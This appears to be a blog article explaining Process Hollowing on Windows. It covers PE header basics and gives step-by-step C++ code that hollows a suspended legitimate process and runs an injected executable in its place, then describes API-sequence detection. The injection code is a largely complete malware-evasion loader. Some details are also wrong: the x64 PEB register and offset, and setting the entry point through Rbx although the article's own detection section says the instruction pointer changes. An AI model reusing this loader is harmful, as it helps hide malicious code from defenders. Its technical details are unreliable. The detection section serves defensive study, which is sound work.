In the constant cat-and-mouse game of cybersecurity, attackers are always developing new ways to evade detection. One of the most classic and effective techniques is Process Hollowing. It allows an attacker to carve out the memory of a legitimate process and replace it with malicious code. To the operating system and many security tools, everything looks normal—a trusted process is running. But under the hood, something else is in control.
This article provides a deep dive into the mechanics of Process Hollowing. We'll break down the Windows Portable Executable (PE) file format, walk through the step-by-step implementation, and finally, discuss how such a stealthy technique can be detected.
Understanding the Battlefield: The Portable Executable (PE) Format
Before we can manipulate a process, we must first understand its blueprint. In Windows, that blueprint is the Portable Executable (PE) format. It's the standard file format for executables (.exe), dynamic-link libraries (.dll), and other related files on all modern 32-bit and 64-bit Windows versions.
A PE file is not just a block of code; it's a highly structured file containing metadata that tells the Windows loader how to map the file into memory and prepare it for execution. For this technique, we only need to understand a few key parts.
DOS Header: A Link to the Past
Every PE file begins with a legacy component: the IMAGE_DOS_HEADER. This 64-byte structure is a holdover from the days of MS-DOS. While modern Windows systems don't use it to run the main program, it's kept for backward compatibility. Its presence allows the file to be recognized as a valid MS-DOS executable. If you were to run a modern PE file on an old DOS system, this header ensures that a small, embedded "stub" program runs instead of crashing.
For the Windows loader, only two fields in this header are truly important:
e_magic: The first 2 bytes of the file. This "magic number" is always$0x5A4D$, which is "MZ" in ASCII. It's the signature that identifies the file as a PE executable.e_lfanew: A 4-byte offset located at address$0x3C$within the header. This is the crucial pointer that tells the Windows loader where the modern, essential headers begin.
In a hex editor, you can see these fields clearly. The file starts with "MZ", and at offset $0x3C$, you'll find the offset to the next major structure.
DOS Stub: The Polite Error Message
Following the DOS Header is the DOS Stub. This is a small, actual MS-DOS program that typically just prints a message like "This program cannot be run in DOS mode" and exits. While its message can be customized by the compiler, we generally don't need to interact with it for Process Hollowing.
NT Headers: The Heart of the Executable
Following the e_lfanew offset brings us to the IMAGE_NT_HEADERS. This is the most important structure for the Windows loader. It contains essential information about the executable's layout and requirements. It consists of a signature, a file header (IMAGE_FILE_HEADER), and an optional header (IMAGE_OPTIONAL_HEADER).
While these headers are packed with information, we only need two key values from the IMAGE_OPTIONAL_HEADER:
ImageBase: The preferred virtual memory address where the executable should be loaded. The hollowing technique will try to allocate memory at this specific address in the target process.AddressOfEntryPoint: The offset (relative to theImageBase) where code execution begins. This is the first instruction the CPU will run once the program is loaded.
With this foundational knowledge, we're ready to walk through the code.
The Hollowing Process: A Step-by-Step Guide
Note: The following code snippets are based on the implementation found at https://github.com/notsnakesilent/AnotherProcessHollowing and are used here for educational purposes.
1. Read the Source Executable into a Buffer
First, we need to get the raw bytes of our malicious executable (the "source" file) that we want to inject. We open the file, get its size, allocate a memory buffer, and read the file's entire content into it.
HANDLE sourceFile = CreateFileA(sourceProcess.c_str(), GENERIC_READ, FILE_SHARE_READ, NULL, OPEN_EXISTING, 0, NULL);
if (sourceFile == INVALID_HANDLE_VALUE) {
ErrorExit("Could not open source file");
}
DWORD sourceFileSize = GetFileSize(sourceFile, NULL);
LPVOID sourceFileBytesBuffer = HeapAlloc(GetProcessHeap(), 0, sourceFileSize);
DWORD bytesRead = 0;
if (!ReadFile(sourceFile, sourceFileBytesBuffer, sourceFileSize, &bytesRead, NULL)) {
ErrorExit("Could not read source file");
}
2. Parse the PE Headers of the Source File
With the file in memory, we can easily parse its PE structures. We cast the buffer pointer to a PIMAGE_DOS_HEADER to access the DOS header. Then, we use the $e\_lfanew$ field to find the IMAGE_NT_HEADERS.
PIMAGE_DOS_HEADER sourceImageDOSHeader = (PIMAGE_DOS_HEADER)sourceFileBytesBuffer;
PIMAGE_NT_HEADERS sourceImageNTHeaders = (PIMAGE_NT_HEADERS)((DWORD_PTR)sourceFileBytesBuffer + sourceImageDOSHeader->e_lfanew);
3. Create a Legitimate Process in a Suspended State
Next, we create an instance of a legitimate process (the "target" or "host" process). The critical part is to create it with the CREATE_SUSPENDED flag. This tells Windows to load the process into memory but not to execute any of its code yet. This gives us a clean, paused environment to manipulate.
STARTUPINFOA startupInfo;
PROCESS_INFORMATION processInfo;
ZeroMemory(&startupInfo, sizeof(startupInfo));
ZeroMemory(&processInfo, sizeof(processInfo));
startupInfo.cb = sizeof(startupInfo);
if (!CreateProcessA(
targetProcess.c_str(), // Name of the process to create
NULL, // Command line parameters
NULL, // Process security attributes
NULL, // Thread security attributes
FALSE, // Handle inheritance
CREATE_SUSPENDED, // Creation flags - SUSPENDED
NULL, // Process environment
NULL, // Current directory
&startupInfo, // Startup information
&processInfo // Process information
)) {
ErrorExit("Could not create legitimate process");
}
4. Get Information About the Created Process
To modify the target process, we need its memory layout. We can find the base address of its main executable image by inspecting the Process Environment Block (PEB). We first get the thread's context, which contains the register values. From there, we can find the PEB address and then read the process memory to get the image base address.
CONTEXT context;
context.ContextFlags = CONTEXT_FULL;
if (!GetThreadContext(processInfo.hThread, &context)) {
ErrorExit("Could not get thread context");
}
// In x64, a register like Rbx or Rdx points to the PEB. In x86, it would be Ebx.
DWORD_PTR pebAddress = context.Rbx;
// The process base address is at a fixed offset from the start of the PEB (+0x8 for x86).
LPVOID imageBaseAddress = 0;
SIZE_T bytesRead2 = 0;
if (!ReadProcessMemory(
processInfo.hProcess,
(LPVOID)(pebAddress + 8),
&imageBaseAddress,
sizeof(LPVOID),
&bytesRead2
)) {
ErrorExit("Could not read process base address");
}
5. Hollow Out the Target Process
This is the "hollowing" step. We use the undocumented function NtUnmapViewOfSection to de-allocate the memory that the legitimate process's code occupies. This creates a hole in the process's virtual address space where we can place our own code.
// This function is typically loaded dynamically from ntdll.dll
if (!NtUnmapViewOfSection(processInfo.hProcess, imageBaseAddress)) {
// Handle error or proceed if it's acceptable for the base to be different
}
6. Allocate New Memory in the Target Process
With the original code gone, we allocate new memory in the hollowed-out space. We use VirtualAllocEx to reserve memory at the preferred ImageBase of our source executable. We allocate enough space for the entire image and set the permissions to PAGE_EXECUTE_READWRITE.
LPVOID newBaseAddress = VirtualAllocEx(
processInfo.hProcess,
(LPVOID)(sourceImageNTHeaders->OptionalHeader.ImageBase),
sourceImageNTHeaders->OptionalHeader.SizeOfImage,
MEM_COMMIT | MEM_RESERVE,
PAGE_EXECUTE_READWRITE
);
7. Write the PE Headers into the Target Process
Now we begin reconstructing our malicious executable in the target process's memory. The first step is to copy the PE headers from our source file buffer into the newly allocated memory space using WriteProcessMemory.
if (!WriteProcessMemory(
processInfo.hProcess,
newBaseAddress,
sourceFileBytesBuffer,
sourceImageNTHeaders->OptionalHeader.SizeOfHeaders,
NULL
)) {
ErrorExit("Could not write PE headers");
}
8. Write the PE Sections into the Target Process
Next, we loop through each section of our source executable (like .text, .data, .rdata, etc.) and write it to the correct location in the target process's memory. The destination address for each section is calculated by adding its VirtualAddress to the newly allocated ImageBase.
PIMAGE_SECTION_HEADER sourceImageSectionHeader = (PIMAGE_SECTION_HEADER)(
(DWORD_PTR)sourceImageNTHeaders + sizeof(IMAGE_NT_HEADERS)
);
for (int i = 0; i < sourceImageNTHeaders->FileHeader.NumberOfSections; i++) {
LPVOID sectionDestination = (LPVOID)(
(DWORD_PTR)newBaseAddress + sourceImageSectionHeader->VirtualAddress
);
LPVOID sectionSource = (LPVOID)(
(DWORD_PTR)sourceFileBytesBuffer + sourceImageSectionHeader->PointerToRawData
);
if (!WriteProcessMemory(
processInfo.hProcess,
sectionDestination,
sectionSource,
sourceImageSectionHeader->SizeOfRawData,
NULL
)) {
ErrorExit("Could not write a PE section");
}
sourceImageSectionHeader++;
}
9. Update the Thread Context to the New Entry Point
The target process is still paused, and its main thread is pointing to the original entry point. We must change that. We modify the thread's context, updating the appropriate register to point to the entry point of our injected code (newBaseAddress + AddressOfEntryPoint).
context.Rbx = (DWORD_PTR)newBaseAddress + sourceImageNTHeaders->OptionalHeader.AddressOfEntryPoint;
// Set the updated context in the suspended thread
if (!SetThreadContext(processInfo.hThread, &context)) {
ErrorExit("Could not set thread context");
}
10. Resume Execution and Clean Up
The trap is set. All that's left is to resume the suspended thread using ResumeThread. The thread will wake up and, instead of executing the legitimate program's code, it will start executing our injected code. Finally, we clean up by freeing our buffer and closing handles.
if (ResumeThread(processInfo.hThread) == -1) {
ErrorExit("Could not resume thread");
}
HeapFree(GetProcessHeap(), 0, sourceFileBytesBuffer);
CloseHandle(processInfo.hProcess);
CloseHandle(processInfo.hThread);
How to Detect Process Hollowing
While Process Hollowing is effective at evading signature-based detection, it leaves a very distinct behavioral footprint. Advanced security solutions can detect this technique by monitoring sequences of API calls, rather than scanning files on disk. The approach detailed in patent WO2017160765A1 provides an excellent framework for understanding this method.
The core idea is to treat the steps of the hollowing technique as a "recipe for malice." A detection system can watch for a process that follows this recipe exactly.
The detection logic can be broken down into a state machine that tracks the actions of a "creator" process on a "target" process:
-
The Trigger: A Suspended Process is Born
The entire detection sequence starts when a process callsCreateProcesswith theCREATE_SUSPENDEDflag. This is unusual for normal program behavior and serves as the primary trigger. A security system will flag the creator process and begin monitoring its subsequent actions on the handle of the newly created (and paused) target process. -
State Tracking: Memory Manipulation
Once a process is being watched, the detector looks for the characteristic memory manipulation calls performed in a specific order:- Unmapping: A call to
NtUnmapViewOfSectionon the target process. This is a strong indicator that the original code is being erased to make way for something new. - Allocation: A subsequent call to
VirtualAllocExin the target process. This carves out a new memory region. - Writing: One or more calls to
WriteProcessMemorythat write data into the newly allocated region. The detector can even inspect the written bytes to see if they form a valid PE header, further strengthening the suspicion.
- Unmapping: A call to
-
The Hijack: Modifying the Thread
After the memory has been replaced, the detector looks for the call toSetThreadContext. This is the crucial step where the attacker redirects the process's execution flow. Changing the instruction pointer register (Ripon x64,Eipon x86) to point to the newly written code is the smoking gun. -
Confirmation: Resuming the Thread
The final piece of evidence is the call toResumeThread. This action "activates" the compromised process.
If a single creator process performs this entire sequence on a target process—Create Suspended -> Unmap -> Allocate -> Write -> Set Context -> Resume—the system can conclude with high confidence that a Process Hollowing attack has occurred and can take immediate action, such as terminating the creator process and the hollowed target.
Conclusion
Process Hollowing is a testament to the creativity of malware authors. It perfectly illustrates why modern security must move beyond simple file scanning and embrace behavioral analysis. By understanding the exact sequence of API calls required to perform the attack, defenders can build sophisticated systems capable of catching the attack in the act. For security professionals on both sides of the fence, understanding this intricate dance between process manipulation and detection is fundamental.
